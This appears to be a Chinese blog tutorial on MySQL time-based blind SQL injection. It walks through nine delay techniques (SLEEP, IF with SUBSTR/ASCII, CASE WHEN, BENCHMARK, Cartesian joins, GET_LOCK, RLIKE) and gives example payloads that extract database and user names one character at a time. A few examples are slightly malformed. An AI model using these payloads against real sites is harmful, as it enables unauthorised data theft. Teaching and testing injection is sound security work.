MySQL盲注:基于时间延迟注入9种方法

一、基于时间延时的盲注:SLEEP

函数 SLEEP( duration)

函数使用说明:睡眠(暂停)时间为 duration参数给定的秒数,然后返回0。若 SLEEP()被中断,它会返回1。

Select * from table where id=1 and sleep(2);

 

二、配合if条件触发

IF(expr1, expr2, expr3)

如果expr1是TRUE (expr1<>0 and expr1<>NUL),则IF()的返回值为expr2;否则返回值则为expr3。IF()的返回值为数字值或字符串值,具体情况视其所在语句而定。

Select *from table where id=1 and if(database()=' ',sleep(4), null);
Select *from user where username='a' and if(username='admin',sleep(2), null);

 

三、再用上截取函数

substring()和substr()

SUBSTRING(str,pos)、SUBSTRING(str FROM pos)、SUBSTRING(str,pos,len)、SUBSTRING(str FROM pos FOR len)

 

substr(string,start,length)

参数描述同mid()函数,第一个参数为要处理的字符串,start为开始位置,length为截取的长度。

 

substring_index()

substring_index(str,delim,count)

说明: substring_ index(被截取字段,关键字,关键字出现的次数)

 

示例:

Select *from user where username='a' or if(substr((select username from user where id=1),1,1)='a',sleep(2),0);

 

原理类似于mysql正则匹配:

select * from user where username rlike '^ad';
select * from user where username regexp '^ad';

 

四、再配合select case when条件触发

SQL CASE表达式是一种通用的条件表达式,类似于其它语言中的if/else语句。

CASE WHEN condition THEN result

[WHEN...]

[ELSE result]

END

 

示例:

select case when username="admin THEN 'admin' ELSE 'xxx' end from user;
select case when username="admin THEN 'aaa' ELSE (sleep(3)) end from user;

 

五、基于时间延时的盲注:逐字注入

能够截取字符串,同时能触发延时即可!

Select *from table Where id =1 and (if(substr(database(),1,1)='u', sleep(3), null));
Select * from table where id= 1 and (if(ascii(substr(database(),1,1))=100, sleep(3), null));

 

六、基于时间延时的盲注:BENCHMARK

除了sleep之外的时间延时注入,还有:BENCHMARK(count,expr)

BENCHMARK()函数重复 count次执行表达式expr。它可以被用于计算 MYSQL处理表达式的速度。结果值通常为0。

select benchmark(100000000,sha(1));
Select * from table where id= 1 and (if(ascii(substr(database(),1,1))=100,benchmark(100000000,sha(1)), null));

 

七、基于时间延时的盲注:笛卡尔积

除了sleep之外的时间延时注入,还有:笛卡尔积;有不懂“笛卡尔乘积”的请自行网络查找资料!

select count(*) from user A,user B;
SELECT count (*) FROM information_schema.columns A,information_schema.columns B,information_schema.tables C;

 

八、基于时间延时的盲注:GET_LOCK

除了sleep之外的时间延时注入,还有:GET_LOCK(str,timeout)

函数使用说明:设法使用字符串str给定的名字得到一个锁,超时为timeout秒。

Select GET_LOCK('a',10)

注意:设置锁后,需要新开 一 个窗口并且是长连接才会有效。

 

九、基于时间延时的盲注:RLIKE

除了sleep之外的时间延时注入,还有RLKE。

通过rpad或 repeat构造长字符串,加以计算量大的 pattern,通过repeats的参数可以控制延时长短。

select concat (rpad (1,999999,a),rpad (1,999999,a),rpad(1,999999,a) ,rpad(1,999999,a) 
,rpad(1,999999,a),rpad(1,999999,a),rpad(1,999999,a) 
,rpad(1,999999,a),rpad(1,999999,a),rpad(1,999999,a),rpad(1,999999,a),rpad(1,999999,a),rp
ad(1,999999,a) ,rpad (1,999999,a),rpad(1,999999,a),rpad(1,999999,a )) RLIKE '(a.*)+(a.*)+
(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+b';
    A+
发布日期:2019年09月17日 10:47:14  所属分类:渗透测试
最后更新时间:2019-09-17 16:14:55
付杰
  • ¥ 798.0元
  • 市场价:1298.0元
  • ¥ 98.0元
  • 市场价:298.0元
  • ¥ 68.0元
  • 市场价:168.0元
  • ¥ 89.0元
  • 市场价:129.0元

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: